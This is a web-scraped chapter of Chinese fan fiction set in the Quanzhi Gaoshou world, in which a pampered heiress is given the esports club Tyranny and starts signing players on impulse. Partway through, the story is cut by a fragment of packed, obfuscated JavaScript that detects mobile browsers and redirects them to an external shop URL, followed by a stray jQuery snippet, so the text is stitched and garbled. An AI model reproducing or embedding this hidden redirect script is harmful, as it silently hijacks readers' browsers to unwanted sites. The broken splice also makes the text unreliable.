《[全职高手]电波系少女会梦到冠军戒指吗?》 1. 买下霸图的第一天 秦昭昭有时候觉得自己老爹太宠自己了。 这话说出来有点欠揍,但她真的这么想。 比如说上周她随口提了句想吃城东那家限量供应的桂花糕,第二天早上醒来,那家店的老师傅就站在她家厨房里,笑眯眯地说以后专门给她做点心。再比如上个月她看中一个绝版手办,老爹直接联系到原作者,硬是让人家重新开模给她单独做了一个。 她经常怀疑,这么脱线又浮夸的老爹,到底是怎么追到她那位早逝的、照片里温柔得像江南烟雨般的母亲的。 每次她问这个问题,老爹就会放下手里的雪茄,她爹就会摆出那副“这说来话长”的表情,摇头晃脑地开始酝酿情绪。眼睛望向远方,用一种特别沧桑的语调说:“昭昭啊,这事说来话长……” “打住!” 秦昭昭立刻伸手做了个暂停的手势。经验告诉她,如果不及时打断,老爹能从他和母亲的初见讲到私奔再讲到创业,中间穿插无数个“那时候啊”“你知道吗”,从“那年春天樱花开了二十三朵半”开始的史诗级扯皮,能说上一天一夜不带重样的。 她不是不感兴趣,只是每次听完都会觉得自己像个看了八十集家庭伦理剧的观众,脑瓜子嗡嗡的。 三个月前,秦昭昭偶然接触了荣耀这款游戏。 事情是这样的,她闺蜜林小雨是个资深宅女,某天来她家玩的时候抱着笔记本不撒手,屏幕里光影乱飞。秦昭昭凑过去看,只见一个穿着华丽装扮的角色在漫天光影中闪转腾挪,最后一道金光劈下,屏幕上弹出大大的“荣耀”两个字。 “这什么游戏?”对于游戏一窍不通的秦昭昭问。 “荣耀啊!最近超火的!”林小雨眼睛发亮,“我在玩弹药专家,你看这个百花式打法帅不帅!” 秦昭昭盯着屏幕看了十分钟。 二十分钟后,她坐到了自己的电脑前。 三十分钟后,她创建了第一个角色。 在看了24个职业经过三小时深思熟虑后,她拍桌子决定:“我要玩拳法家!” 不知道为什么,她就喜欢那种拳拳到肉的感觉,喜欢那种不需要太多花哨技巧、直接硬碰硬的风格。林小雨试图安利她玩元素法师或者枪炮师,说女孩子玩那些好看,秦昭昭摇头摇得像拨浪鼓。 “不要,我就要拳法家。” 她创建的角色叫“昭昭日月”,是个女.拳法家。林小雨看着那个扎着高马尾、一身劲装的角色,再看看眼前这个穿着蕾丝睡裙、抱着熊猫抱枕的闺蜜,觉得世界观受到了冲击。 但秦昭昭玩得很开心。 她花了三天时间搞明白基础操作,一周时间能打过普通副本,一个月后已经在竞技场里摸爬滚打。虽然胜率惨不忍睹,但她乐此不疲。 她最喜欢的就是用拳头砸在对手脸上的感觉,砰的一声,特别实在。 老爹秦大海某天路过她房间,看见女儿戴着耳机,眼睛死死盯着屏幕,手指在键盘上噼里啪啦地敲,嘴里还念念有词:“左勾拳!右勾拳!伏虎腾翔!哎哟我去这都没中——” 屏幕上,她的拳法家被一个魔道学者骑着扫把溜得团团转,最后被一把寒冰粉糊了一脸,冻在原地动弹不得。 “荣耀?”秦大海站在门口看了五分钟,摸着下巴若有所思。 秦昭昭完全没注意到老爹的存在,她正全神贯注地准备下一局。这次对手是个剑客,她学了乖,开场就贴身紧逼,不让对方拉开距离。两人在竞技场中央拳来剑往,血线交替下降。 最后,她的拳法家还剩一丝血皮,对方的剑客也岌岌可危。 就是现在! 秦昭昭眼睛一亮,手指猛地敲下伏虎腾翔的快捷键。她的角色凌空跃起,双拳带着劲风砸向对手—— 赢了! 屏幕上弹出荣耀的字样,秦昭昭摘下耳机,兴奋地挥了挥拳头。一转头,看见老爹笑眯眯地站在门口。 “爸你什么时候来的?” “刚来。”秦大海走进来,看了眼屏幕问,“喜欢这个游戏?” “超喜欢!”秦昭昭眼睛发亮,“特别是拳法家,太帅了!” 秦大海点点头,什么也没说,背着手走了,没再多问。 秦昭昭以为这事儿就这么过去了。 结果三天后,她三个月荣耀“生涯”满打满算九十七天的那个早上,她本来以为老爹会像往常一样,送她什么限量版包包或者首饰,她爹就神秘兮兮地凑过来,手里捧着一个看起来特别正式的黑色文件夹。 “闺女,生日快乐。” 秦昭昭愣了:“我生日不是还有四个月吗?” “不是那个生日,”她爹笑得眼睛眯成缝,“是你玩荣耀满三个月的纪念日!” 这什么鬼纪念日。秦昭昭嘴角抽了抽,但还是接过文件夹。入手沉甸甸的,烫金的霸图队徽在封面正中央,下面一行小字:股权转让协议。 她眨眨眼,又眨眨眼。 秦昭昭咬着吐司,疑惑地翻开文件夹。翻开第一页,密密麻麻的条款和法律术语,看得她脑仁疼。但那些字眼她还是认识的——“转让方”、“受让方”、“百分之百股权”、“霸图电子竞技俱乐部”…… 她又翻回第一页,盯着那个熟悉的logo看了十秒。霸图,这不是荣耀职业联盟里那个很有名的战队吗?她记得他们的队长韩文清就是个拳法家,游戏ID大漠孤烟,超级厉害。 “这是……什么意思?”秦昭昭抬头看老爹,声音有点发飘。 秦大海端起咖啡,轻描淡写地说:“你不是喜欢荣耀吗?特别是拳法家。我查了查,霸图可是拳法家最出名的战队,那个韩文清,大漠孤烟,多威风!爹想了想,反正你喜欢,那就干脆点——” 他大手一挥,动作幅度大得差点带倒旁边的花瓶。 “送你了!” 秦昭昭手里的吐司掉在了盘子里。 秦昭昭张了张嘴,没发出声音。 她觉得这时候应该有点什么反应,尖叫?激动?喜极而泣?但事实上她脑子一片空白,只有“我爹买了霸图俱乐部送我”这行字在脑子里来回滚动,滚了一遍又一遍,滚得她晕头转向。 “爸,”她艰难地开口好不容易找回声音,感觉自己声音发颤,“你知道霸图俱乐部值多少钱吗?” “知道啊。”秦大海喝了口咖啡,“不贵,挺划算的。” 秦昭昭张了张嘴,又闭上了。她决定不跟老爹讨论“划算”的定义,毕竟在这位眼里,去年买那个私人岛屿也只是“价格还行”。 “可是我不会管俱乐部啊。”她实话实说,“我才玩荣耀三个月,连二十四个职业的技能都没认全呢。” “学嘛。”秦大海说得轻松,“不会就请人管,你当老板就行。喜欢怎么搞就怎么搞,反正现在是你的了。” 他说完,擦了擦嘴站起来,拍了拍女儿的肩膀:“合同都签好了,今天下午律师会带你去办手续。开心点,这可是老爸精心准备的礼物!” 秦昭昭低头看着那份合同,又抬头看看她爹那张写满“快夸我”的脸,最后视线落在客厅墙上她妈的照片上。照片里的女人依然温婉地笑着,但秦昭昭总觉得那笑容里多了点无可奈何的意味——看吧,我就知道会这样。 她拿起笔,手有点抖。 笔尖落在纸上那一瞬间,她忽然想起昨天游戏里她那个拳法家小号刚凑齐了一套还不错的装备,今天本来打算去试试新连招的。现在好了,她成了霸图老板,霸图有全联盟最顶尖的拳法家选手韩文清,有大漠孤烟这张神级账号卡。 这感觉就像刚学会骑自行车的小孩,突然被塞进F1赛车的驾驶座,钥匙还插在车上,引擎轰轰响着,旁边一群人等着看你表演。 她深吸一口气,签下了自己的名字。 秦老爹立刻拍手叫好,掏出手机就要打电话安排庆功宴。秦昭昭连忙拦住他,说等等,这事先别声张,让她缓缓。 她需要缓缓。真的。 于是缓过三天后,秦昭昭站在了霸图俱乐部大楼门口,秦昭昭在律师的陪同下来到了霸图俱乐部内。 她穿着自己最正式的衣服——一条浅蓝色的连衣裙,外面套了件米白色的小西装外套,脚上是昨天新买的中跟皮鞋,走起路来还有点不习惯。头发认真梳过,扎了个利落的马尾,脸上化了淡妆,照镜子的时候她差点没认出自己。 来之前她恶补了一堆资料。韩文清,霸图队长,拳法家大漠孤烟操作者,联盟初代大神,风格刚猛强硬,人称“拳皇”。张新杰,副队长,牧师石不转操作者,战术大师,以严谨精确著称,联盟第一治疗。白言飞,元素法师罗塔操作者,本赛季刚崭露头角的新秀…… 还有一堆名字和账号卡,她看得眼花缭乱,最后只记住了这三个。 哦对,还有霸图上赛季的成绩:季后赛第二轮被淘汰,止步四强。她老爹买下俱乐部的时候,正好是S6赛季结束后的夏休期。 俱乐部坐落于Q市海边,是一栋现代化的五层建筑,她站在大楼前,仰头看着顶楼那个巨大的霸图队徽,突然觉得有点腿软。 “秦小姐,请。”律师推了推眼镜,做了个请的手势。 秦昭昭深吸一口气,走了进去。 一楼大厅宽敞明亮,左侧墙上挂着霸图战队历年来的合影和奖杯。她一眼就看到了S4赛季的冠军奖杯,玻璃柜里的奖杯擦得一尘不染,在灯光下闪闪发亮。 右侧是周边商店,陈列着队服、应援物和各种荣耀周边。虽然是工作日,但店里仍有几个粉丝在挑选商品。 前台小姐姐看见律师,立刻站起来:“张律师,您来了。这位是……” “这位是秦昭昭小姐,俱乐部的新老板。”张律师介绍道。 前台小姐姐的眼睛瞬间瞪大,但她很快调整好表情,恭敬地鞠躬:“秦总好。” 秦总。这称呼让秦昭昭差点没站稳。 秦昭昭几乎能看见她脑子里正在疯狂刷新弹幕:新老板?这么年轻?女的?看起来像大学生?真的假的? 秦昭昭被这声“秦总”叫得浑身不自在,连忙摆手:“别别别,叫我昭昭就行。” “这不合规矩。”前台小姐姐微笑,“我先带您去会议室吧,经理和队长已经在等您了。” 会议室在二楼。 秦昭昭跟着前台小姐姐上楼时,感觉自己的心跳得厉害。她昨晚恶补了一下霸图战队的资料,她还看了几场比赛录像,虽然看不太懂战术,但能看出来这些人打得是真的好。 特别是韩文清,那个拳法家凶得吓人,仿佛要从屏幕里冲出来揍人一样。 会议室的门被推开。 长桌一侧坐着三个人。 最左边的是个戴眼镜的年轻人,穿着整齐的白衬衫,坐姿端正得像用尺子量过。他面前的笔记本打开着,屏幕上显示着密密麻麻的数据表格。 中间的是个中年男人,穿着西装,头发梳得一丝不苟,看起来是经理之类的人物。 最右边的…… 秦昭昭的目光停在了最右边那个人身上。 韩文清。 哪怕只是坐在那里,这个男人也散发着一股压迫感。他穿着霸图的队服外套,双手抱胸,眉头微皱,一张脸板得像是所有人都欠他钱。秦昭昭看过他的照片和视频,但真人比影像里更有冲击力——不是说他长得有多凶,而是那种气质,那种“我随时可以一拳打穿这面墙”的气质。 “秦总,欢迎欢迎。”中年男人站起来,满脸堆笑地迎上来,“我是俱乐部经理李进,这位是队长韩文清,副队长张新杰。” 张新杰站起身,朝她微微点头:“秦总好。” 韩文清也站了起来,但没说话,只是看着她。 秦昭昭突然觉得自己像是误入狼群的小白兔。她努力挤出一个笑容:“你们好,我是秦昭昭。那个……不用叫我秦总,叫我昭昭就行。” “这怎么行,规矩还是要有的。”李经理笑着请她坐下,“秦总刚接手俱乐部,有什么想法尽管提。我们已经准备了详细的资料,包括战队现状、财务情况、训练计划……” “等等。”秦昭昭打断他,“在那之前,我能问个问题吗?” “当然,您请问。” 秦昭昭看向韩文清,认真地问:“韩队,你的拳法家是怎么练的?我在游戏里也玩拳法家,但总是打不过魔道学者和剑客,他们跑太快了。” 会议室里安静了三秒。 李经理的笑容僵在脸上。 张新杰推了推眼镜,镜片后的眼睛里闪过一丝惊讶。 韩文清盯着秦昭昭看了几秒钟,然后开口,声音低沉:“贴身,别让他们拉开距离。魔道学者的飞行有冷却,抓落地时机。剑客的连突刺有僵直,可以抓反击。” 他说得很简短,但句句切中要害。 秦昭昭眼睛一亮:“对对对!我就是抓不住时机!还有那个伏虎腾翔,我老是打空……” “预判。”韩文清说,“看起手动作。” “起手动作?” “每个技能都有前摇。”这次是张新杰开口解释,他的声音平稳清晰,“魔道学者的扫把旋风起手时会抬高扫把,剑客的连突刺前会侧身。观察多了就能预判。” 秦昭昭恍然大悟:“原来是这样!我就说怎么老觉得他们一动我就要挨打!” 李经理在旁边干咳一声:“秦总,关于俱乐部的发展……” “哦对,俱乐部。”秦昭昭回过神来,有点不好意思,“那个,其实我玩荣耀才三个月,对职业圈不太了解。所以俱乐部的事情,可能还得麻烦各位多操心。” 李经理明显松了口气:“这个您放心,我们一定尽心尽力。” “不过。”秦昭昭话锋一转,“我昨天看了一些比赛录像,有个问题。” “您说。” “咱们战队……”秦昭昭斟酌着用词,“是不是人有点少?” 李经理愣了一下:“目前一线队有七名选手,在联盟里算是标准配置。” “但我看嘉世有好几个全明星呢。”秦昭昭眨眨眼,“咱们是不是也该多招点厉害的人?” 这次连张新杰都抬起了头。 韩文清的眉头皱得更紧了。 “秦总,选手转会不是那么简单的事情。”李经理耐心解释,“要考虑战术兼容性、团队化学反应、薪资空间……” “这些我不太懂。”秦昭昭很诚实,“但我觉得,既然要打比赛,那就要组最强的队伍。我爸买俱乐部的时候说了,钱不是问题。” 她这话说得太直白,会议室里又安静了。 最后还是张新杰开口:“秦总有什么具体的想法吗?” 秦昭昭想了想:“我昨晚看了好多比赛,觉得有两个人特别厉害。一个是百花战队的张佳乐,他的弹药专家打得跟放烟花似的,可好看了。还有一个是呼啸战队的林敬言,那个流氓玩得……嗯,有点猥琐,但特别聪明。” 她每说一个名字,会议室里的气压就低一分。 “张佳乐是百花的核心,不可能转会。”李经理擦擦额头不存在的汗,“林敬言倒是合同快到期了,但呼啸肯定不会轻易放人……” “那就买啊。”秦昭昭说得理所当然,“我爸说了,喜欢的东西就要想办法弄到手。我喜欢荣耀,所以他给我买了俱乐部。我喜欢这两个选手的打法,那就把他们买过来嘛。” 她期待地看向韩文清和张新杰,企图找到认同:“韩队,张副队,你们觉得呢?要是张佳乐和林敬言来了,咱们是不是就能组个特别厉害的队伍?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908387|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 韩文清沉默了很久。 久到秦昭昭以为他不会回答了。 然后,这位霸图队长用他那标志性的低沉嗓音说:“如果真能来,确实很强。” “对吧!”秦昭昭一拍手,“那就这么定了!李经理,你去联系百花和呼啸,问问多少钱肯卖人。钱不够跟我说,我找我爸要。” 李经理张了张嘴,想说什么,最后还是咽了回去:“……好的秦总。” 会议结束后,秦昭昭被带着参观俱乐部。 训练室在四楼,一整排的电脑,每台都配着专业的键盘鼠标和耳机。墙上的白板上画着复杂的战术图,秦昭昭看了半天,只认出来几个箭头和圆圈。 选手的宿舍在五楼,每人一个单间,干净整洁。秦昭昭路过一扇半开的门时,看见里面墙上贴满了荣耀海报,书架上摆着一排手办。 “这是谁的房间?”她好奇地问。 “白言飞的。”带她参观的工作人员说,“他是元素法师选手,游戏ID罗塔。” 秦昭昭点点头,记下了这个名字。 参观完俱乐部,秦昭昭回到一楼大厅。张律师已经先走了,说是有其他事务要处理。她站在奖杯陈列柜前,看着那些闪闪发光的奖杯,突然觉得肩上有种沉甸甸的感觉。 这不再是她一个人的游戏了。 这是整个战队的梦想,是无数粉丝的期待。 “秦总。”身后传来声音。 秦昭昭回头,看见张新杰站在那里。他已经换下了白衬衫,穿着简单的T恤和长裤,手里拿着一瓶水。 “张副队。”秦昭昭有点紧张,“有事吗?” “只是想问问。”张新杰走到她身边,也看向那些奖杯,“您是真的打算引进张佳乐和林敬言吗?” “是啊。”秦昭昭点头,“我觉得他们很厉害。” “他们确实很厉害。”张新杰说,“但转会不是有钱就能解决的。选手有自己的意愿,战队有自己的考虑。而且,就算真来了,团队磨合也需要时间。” 他说得很客观,没有任何情绪,就像在分析一场比赛的战术。 秦昭昭想了想:“那如果他们愿意来,我们也愿意买,是不是就有可能?” “理论上是的。” “那就够了。”秦昭昭笑了,“先试试嘛,不试怎么知道行不行。再说了……” 她转身看向张新杰,眼睛弯成月牙:“有韩队和你在,我相信不管来的是谁,你们都能带好队伍。” 张新杰愣了一下。 他见过很多老板,有的精明算计,有的外行指导内行,有的只想赚钱。但像秦昭昭这样,既坦诚承认自己不懂,又对战队充满莫名信心的人,他还是第一次见。 “您很信任我们。”他说。 “当然啊。”秦昭昭说得理所当然,“你们是职业选手,我是萌新。我不信你们信谁?” 她说这话时表情特别认真,一点客套的意思都没有。 张新杰沉默了几秒,然后推了推眼镜:“我会准备一份详细的战术分析报告,关于张佳乐和林敬言如果加入,可能形成的战术体系。” “真的吗?太好了!”秦昭昭眼睛发亮,“不过不用太复杂,我看不懂太专业的……” “我会尽量简化。”张新杰说。 “谢谢!”秦昭昭真心实意地道谢。 她离开俱乐部时,天已经快黑了。海边的风吹过来,带着咸湿的味道。秦昭昭回头看了眼那栋深蓝色的大楼,楼顶的队徽在夕阳下泛着暖金色的光。 手机响了,是老爹打来的。 “昭昭啊,俱乐部怎么样?喜欢吗?” “喜欢。”秦昭昭实话实说,“就是有点压力。” “有压力正常。”秦大海在电话那头笑,“不过记住老爸的话,喜欢的事就放手去做,别想太多。钱不够跟爸说,人不够爸帮你挖。咱们老秦家没什么别的,就是宠女儿!” 秦昭昭忍不住笑了:“知道了爸。” 挂掉电话,她打开手机里的荣耀APP,看了看自己的战绩。三个月,竞技场打了五百多场,胜率百分之四十二。不高,但她在慢慢进步。 她又搜索了霸图战队的资料,一条条看下去。 S1赛季季军,S3赛季亚军,S4赛季冠军……这支队伍有着辉煌的历史,也有着对冠军的渴望。 而她现在是这支队伍的老板。 虽然她什么都不懂,虽然她才玩了三个月荣耀。 但没关系。 她可以学。 而且她有最好的老师——韩文清、张新杰,还有未来的张佳乐、林敬言。 秦昭昭收起手机,等待来接她的车。海风吹起她的长发,她脚步轻快,心情莫名地好。 她已经开始期待,当张佳乐的百花式打法和林敬言的猥琐流,遇上韩文清的铁拳和张新杰的战术时,会碰撞出怎样的火花了。 那一定很精彩。 而她,要亲眼见证这一切。 银河战舰? 不,那还不够。 她要的是一支能横扫联盟、能捧起冠军奖杯、能创造历史的传奇战队。 钱能解决的问题都不是问题。 而她有足够的钱,也有足够的热情。 剩下的,就交给那些真正懂荣耀的人吧。 秦昭昭坐上专门送她回家的车,窗外,Q市的夜景开始点亮,霓虹闪烁,车流如织。 她打开手机备忘录,开始列清单: 1. 恶补荣耀知识 2. 学习战队管理基础 3. 催李经理赶紧联系百花和呼啸 4. 找张副队要那份战术报告 5. 下次见到韩队时,问问拳法家怎么打战斗法师 写到这里,她顿了顿,又加了一条: 6. 别紧张,你可以的。 车缓缓驶向夜色深处。 而在霸图俱乐部的训练室里,韩文清坐在电脑前,屏幕上播放着百花战队最近的比赛录像。张佳乐的弹药专家在光影中穿梭,子弹如烟花般绽放。 张新杰推门进来,手里拿着一个平板。 “队长,这是初步的战术分析。”他把平板递给韩文清,“如果张佳乐和真的能来,我们可以尝试三核心打法。你的拳法家正面强攻,张佳乐远程压制,白言飞侧翼策应。” 韩文清接过平板,看了几眼:“林敬言呢?” “如果林敬言也来。”张新杰推了推眼镜,“我们可以打双指挥体系。你负责正面战场的指挥,林敬言负责游击和战术骚扰。他的经验能弥补我们在战术变化上的不足。” 韩文清沉默地看着屏幕上的数据。 半晌,他开口:“你觉得那丫头是认真的?” “秦总吗?”张新杰想了想,“她确实不懂职业圈,但她的决心是真的。而且她说得对,如果有张佳乐和林敬言,我们会强很多。” “钱不是问题。”韩文清说。 “对。”张新杰点头,“钱不是问题。” 两个人都没再说下去。 但训练室里的气氛,已经和白天开会时不一样了。 那是一种隐约的、克制的期待。 而在城市的另一端,秦昭昭回到家,打开电脑登录荣耀。她的拳法家昭昭日月站在主城里,一身蓝装,马尾在脑后飞扬。 她点开好友列表,林小雨在线。 “小雨,来竞技场!”她发消息。 “来了来了!今天我要用我的弹药专家虐爆你!” “谁虐谁还不一定呢!” 秦昭昭戴上耳机,手指放在键盘上。 屏幕倒映出她专注的脸,眼睛里仿佛有星辰般。 荣耀的世界,她来了。 2. 买下霸图的第二天 秦昭昭在霸图俱乐部当老板的第三天,终于意识到一个严重问题。 她闲得发慌。 李经理那边联系百花和呼啸战队需要时间,律师忙着处理各种交接手续,韩文清和张新杰带着队员在训练室闷头训练。她这个名义上的老板,除了每天准时到俱乐部打卡,坐在那间宽敞得能打羽毛球的办公室里发呆之外,竟然无事可做。 这怎么行? 她可是要组建银河战舰的人!怎么能像个吉祥物一样杵在这里? 于是在第四天早上,秦昭昭做了个决定,她要亲自去训练营看看。 “训练营?”李经理接到她电话时声音都变了调,“秦总,训练营那些都是小孩,最大的也就十七八岁,还在培养阶段……” “我知道啊。”秦昭昭站在办公室落地窗前,一边看着楼下街景一边说,“所以才要去看嘛,万一有漏网之鱼呢?小说里不都这么写吗,主角去训练营转一圈,捡到个未来大神。” 电话那头的李经理沉默了三秒,大概是在思考该如何向这位大小姐解释现实不是小说。 “秦总,训练营的学员我们都有定期评估报告,如果有特别突出的苗子,教练组会第一时间推荐到一队的……” “报告是报告,亲眼看看才放心嘛。”秦昭昭已经打定主意,“再说了,我就去看看,又不捣乱。李经理您忙您的,不用陪我,找个工作人员带我去就行。” 李经理还能说什么呢? 半小时后,秦昭昭跟着一个叫小陈的年轻工作人员,走进了霸图训练营所在的附楼。 训练营和主楼隔着一个小花园,是栋三层的老建筑,外墙爬满了爬山虎。走进去就能听见噼里啪啦的键盘声,还有少年们压低的交流声。 “训练营现在有四十多个学员,按年龄和水平分班。”小陈边走边介绍,“一层是基础训练室,二层是进阶班,三层是选拔班,选拔班就是最有希望进入青训队的苗子。” 秦昭昭点点头,眼睛已经开始四处打量了。 一层的训练室里坐满了十几岁的少年,每个人面前一台电脑,屏幕上都是荣耀界面。有的在练习基础连招,有的在打人机对战,偶尔能听见“哎呀又死了”的哀嚎。 秦昭昭隔着玻璃看了一会儿,突然觉得自己那百分之四十二的胜率好像也不是那么难看了。 “去二层看看。”她说。 二层的气氛明显不一样。少年们的年龄看起来大了一些,操作也更熟练。秦昭昭看到一个玩战斗法师的学员正在竞技场里虐菜,一套连招行云流水,把对手打得找不着北。 “这个不错啊。”秦昭昭指着那个战斗法师说。 小陈看了一眼:“哦,那是选拔班的,玩战斗法师的,确实是个好苗子,教练组已经在重点关注了。” 秦昭昭眼睛一亮:“那他能进一队吗?” “还早呢。”小陈笑了,“他才十五岁,至少还得在训练营练两年。职业比赛和普通游戏可不一样,压力太大了,小孩扛不住的。” 秦昭昭想了想,觉得有道理。她打竞技场输了都会郁闷半天,要是正式比赛打不好,被全网骂,那得多难受。 “去三层看看吧。” 三层的选拔班人最少,只有十几个学员。训练室也比下面两层安静,每个人都戴着耳机,全神贯注地盯着屏幕。 秦昭昭在门口站了一会儿,目光扫过一个个屏幕。玩狂剑士的,玩魔道学者的,玩鬼剑士的……突然,她的视线停在最角落的那台电脑上。 那是个看起来十六七岁的少年,穿着简单的白色T恤,头发剪得很短,露出干净的额头。他坐姿端正,背挺得笔直,握着鼠标的手稳得像在手术台上。 而他的屏幕上,一个神枪手正在竞技场里游走。 秦昭昭不懂神枪手这个职业,她自己玩拳法家,看什么职业都觉得花里胡哨的。但这个少年的操作,让她莫名其妙地挪不开眼。 他的神枪手移动节奏很特别,不快不慢,每一步都踩在某种节拍上。躲技能的时候侧身幅度很小,几乎是用最小的动作规避伤害。开枪的时机更是刁钻,总是在对手刚放完技能、处在后摇僵直的那零点几秒里,子弹精准地糊脸。 最让秦昭昭惊讶的是这少年的表情。 其他学员打游戏时,要么眉头紧锁,要么咬牙切齿,要么兴奋得手舞足蹈。可这个少年呢?从秦昭昭站在这儿开始,他的表情就没变过。 平静,专注,甚至有点淡漠。屏幕上他的神枪手血量被压到三分之一,他眉头都没皱一下;反过来一套爆发把对手打残,他嘴角也没上扬半分。 这心理素质,绝了。 “那是谁?”秦昭昭压低声音问小陈。 小陈顺着她的视线看去:“哦,秦牧云,十六岁,玩神枪手的,ID零下九度。挺沉稳的一个孩子,就是性格有点闷,不怎么爱说话。” “水平怎么样?” “中上吧。”小陈想了想,“选拔班里能排前五,但不是最拔尖的。教练说他基本功扎实,但缺少点灵性,打法太稳了,有时候稳得有点……死板。” 秦昭昭没接话,继续盯着秦牧云的屏幕。 这会儿秦牧云正在打第二局,对手是个元素法师。地图是擂台场,对远程职业其实不太友好,但秦牧云的神枪手硬是靠着走位和时机把握,一点一点把元素法师的血量磨了下去。 元素法师急了,开始乱扔技能。暴风雪、烈焰冲击、雷电光环……屏幕上光影乱飞,秦牧云的神枪手在技能缝隙里穿梭,偶尔还击两枪,不贪伤害,打完就撤。 最后元素法师蓝量见底,秦牧云这才突然提速,一套疾射加暴射的连招,把对手送出了竞技场。 赢了。 秦牧云摘下耳机,活动了一下手腕,然后……端起旁边的水杯喝了口水,表情依旧平静得像刚看完一集纪录片。 秦昭昭一拍大腿。 就他了! 这个反应,这个心态,这个稳如泰山的气质——这不就是她想象中的职业选手该有的样子吗?管他有没有灵性,能赢就行啊! “我要签他。”秦昭昭转头对小陈说,眼睛闪闪发光。 小陈差点被自己的口水呛到:“秦、秦总,您说什么?” “签他,现在,立刻,马上。”秦昭昭一边说一边往训练室里走,“合同呢?公章呢?李经理在哪儿?打电话叫他过来!” 训练室里的学员们都抬起头,茫然地看着这个突然闯进来的年轻女孩。秦牧云也转过头,看着秦昭昭径直走到他面前,一时间有点懵。 “你叫秦牧云?”秦昭昭问。 “……是。”秦牧云点点头,声音和他的人一样,平稳得没有波澜。 “玩神枪手的?ID零下九度?” “是。” “打了几年荣耀了?” “三年。” “想打职业吗?” 秦牧云沉默了两秒,然后很认真地说:“想。” “好!”秦昭昭一拍手,“从现在开始,你就是霸图战队正式队员了。工资待遇按一线队标准,合同年限……先签三年怎么样?违约金写高一点,防止别人挖你。哦不对,我肯定不会放人走。” 她语速太快,信息量太大,秦牧云那张万年不变的脸上终于出现了一丝裂痕。 “您是……”他迟疑地问。 “我叫秦昭昭,霸图的新老板。”秦昭昭伸出手,“以后请多指教啊,秦牧云选手。” 秦牧云愣愣地跟她握了手,大脑还在处理刚才听到的信息。 老板?新老板?他这就……进一队了? 旁边的学员们已经炸锅了。 “我去,什么情况?” “牧云被老板看中了?” “直接进一队?开玩笑的吧?” “我也想要这种天上掉馅饼的好事……” 小陈急得直冒汗,赶紧给李经理打电话。十分钟后,李经理气喘吁吁地跑进训练营,看见秦昭昭正坐在秦牧云旁边,津津有味地看他打第三局竞技场。 “秦总!”李经理压低声音,“您这……这太突然了!秦牧云还在培养期,直接进一队是不是……” “我觉得他行。”秦昭昭头也不回地说,“你看他多稳,输了不慌赢了不飘,这心理素质多好。职业比赛最需要的不就是这个吗?” “可是他的技术还需要打磨……” “进一队也能打磨啊,让韩队和张副队带带他,肯定比在训练营进步快。” 李经理张了张嘴,竟无言以对。 其实从专业角度来说,秦昭昭这话还真没说错。有些选手就是大赛型选手,训练营里看着平平无奇,一上正式赛场反而能超常发挥。秦牧云这种沉稳到极致的性格,确实是个潜在的优势。 但问题是……哪有老板亲自来训练营捡人的啊!这不符合流程!这不合规矩! “秦总,要不我们先做个评估,让教练组出份报告,再安排他和一队选手打几场练习赛……”李经理试图挽回局面。 秦昭昭终于转过头,眨了眨眼认真地问:“李经理,您是不是觉得我太胡闹了?” 李经理冷汗都下来了:“没有没有,绝对没有……” “我觉得有。”秦昭昭笑了,“但胡闹就胡闹呗,反正俱乐部是我的,我想签谁就签谁。再说了——” 她看向秦牧云,少年已经结束了第三局,又是胜利。他转过头,对上秦昭昭的视线,眼神里还是有些茫然,但深处好像有什么东西被点燃了,那是渴望的眼神,秦昭昭知道。 “我相信我的眼光。”秦昭昭说,“李经理,准备合同吧。对了,把韩队和张副队也叫来,让他们见见新队友。” 李经理认命了。 一个小时后,霸图战队会议室。 韩文清和张新杰坐在长桌一侧,表情复杂地看着对面那个坐得笔直、双手放在膝盖上、看起来还有点拘谨的少年。 秦牧云。 十六岁,神枪手选手,训练营选拔班学员,三小时前刚被新老板从训练营里“捡”出来,签了三年正式合同。 而始作俑者秦昭昭,这会儿正坐在主位上,捧着一杯奶茶吸得滋滋响,一脸“快夸我”的表情。 “韩队,张副队,介绍一下,这是咱们的新队员,秦牧云。”秦昭昭放下奶茶,笑眯眯地说,“玩神枪手的,ID零下九度,我看他打了几场,稳得不得了,觉得是个可造之材,就签了。” 韩文清盯着秦牧云看了足足十秒钟,然后转向秦昭昭,眉头皱得能夹死苍蝇:“你签之前,为什么不跟我们商量?” 他的声音不高,但那股压迫感让会议室里的温度瞬间降了几度。 秦牧云下意识地绷紧了背。 秦昭昭却好像完全没感觉到气氛不对,很理所当然地说:“因为我相信我的眼光啊。而且这不是带来跟你们商量了吗。人都签了,你们看看怎么安排他训练呗。” 韩文清:“……” 张新杰推了推眼镜,打破沉默:“秦总,能说一下您看中秦牧云选手哪些特质吗?” “稳。”秦昭昭竖起一根手指,“心态稳,操作稳,节奏稳。我看了他三局,第一局赢了没得意,第二局被压着打没慌张,第三局从头到尾一个表情。这种心理素质,我觉得特别适合打职业。” 张新杰点点头,看向秦牧云:“秦牧云选手,你现在天梯排名多少?” “第二百四十七。”秦牧云回答,声音依旧听不出波澜。 “最高打到过多少?” “第一百零三。” “擅长的地图?” “城镇类,地形复杂的地图。” “神枪手常用连招能打几套?” “七套完整连招,十二种变式。” 一问一答,条理清晰。张新杰问得细,秦牧云答得稳,中间没有任何卡壳和犹豫。 问完后,张新杰看向韩文清,轻轻点了点头。 意思是:基本功确实扎实,不是瞎蒙的。 韩文清沉默了一会儿,然后站起身:“来训练室。” 五分钟后,训练室。 一线队的其他队员也被叫来了。白言飞、郑乘风、张奇……几个人围在韩文清的电脑后,好奇地看着这个突然冒出来的新队友。 秦牧云坐在韩文清对面的电脑前,戴上耳机,登录了自己的账号。零下九度,一个七十级的神枪手,装备不算顶尖,但搭配得很合理。 韩文清登录的是小号,一个拳法家,装备和零下九度同级。 “打三局。”韩文清说,“用你全部实力。” 秦牧云深吸一口气,点了点头。 第一局,地图擂台场。 倒计时结束的瞬间,韩文清的拳法家就如猛虎出闸般冲了过来。秦牧云的神枪手迅速后撤,边退边开枪干扰,子弹精准地封走位。 